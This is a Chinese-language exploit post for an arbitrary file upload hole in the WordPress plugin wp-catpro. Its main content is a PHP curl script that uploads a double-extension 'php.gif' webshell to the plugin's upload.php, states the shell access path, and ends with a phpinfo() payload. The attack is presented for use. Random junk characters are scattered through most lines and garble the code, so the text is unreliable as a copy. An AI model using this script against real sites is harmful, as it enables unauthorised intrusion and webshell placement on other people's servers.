WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

) B+ `" B; {7 v, B8 `, @# d% u作者  => Zikou-16
8 _9 n' [! P$ k邮箱 => zikou16x@gmail.com
  a0 u0 F" u# h' o测试系统 : Windows 7 , Backtrack 5r3
- D, J* |" a% d1 r( f0 F下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
2 Z8 E- F2 n& r* Z; v* n# g5 Y
#=> Exploit 信息:
( I6 g) T. H' {! w& G' K------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

#=> Exploit
1 Y. S: w) V; {" h* M: I-----------
, M9 u, t1 J9 n  y7 y<?php

' m2 X! N% M2 p' E" r* L  h% y! a$uploadfile="zik.php.gif";
) v3 _) g. y, r) `0 A; Y5 A$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
3 @# w/ |- h* k  Y6 @7 f3 S% p& Ccurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
' o6 N% O# v4 `; M9 k) W: R# e( b'folder'=>'/wp-content/uploads/catpro/'));
0 ?3 @1 I2 X/ e8 _curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
& j/ E' `' Y% v8 o$postResult = curl_exec($ch);
curl_close($ch);
* G' h  r7 u, R
print "$postResult";
" L  h, |' f" b0 q# C% Z6 O0 y
& J. _" S. ]6 w+ g& \0 A5 O5 K" U5 |  B( RShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
" M, k% u- y& M% A9 [  W2 T4 u<?php
phpinfo();
?>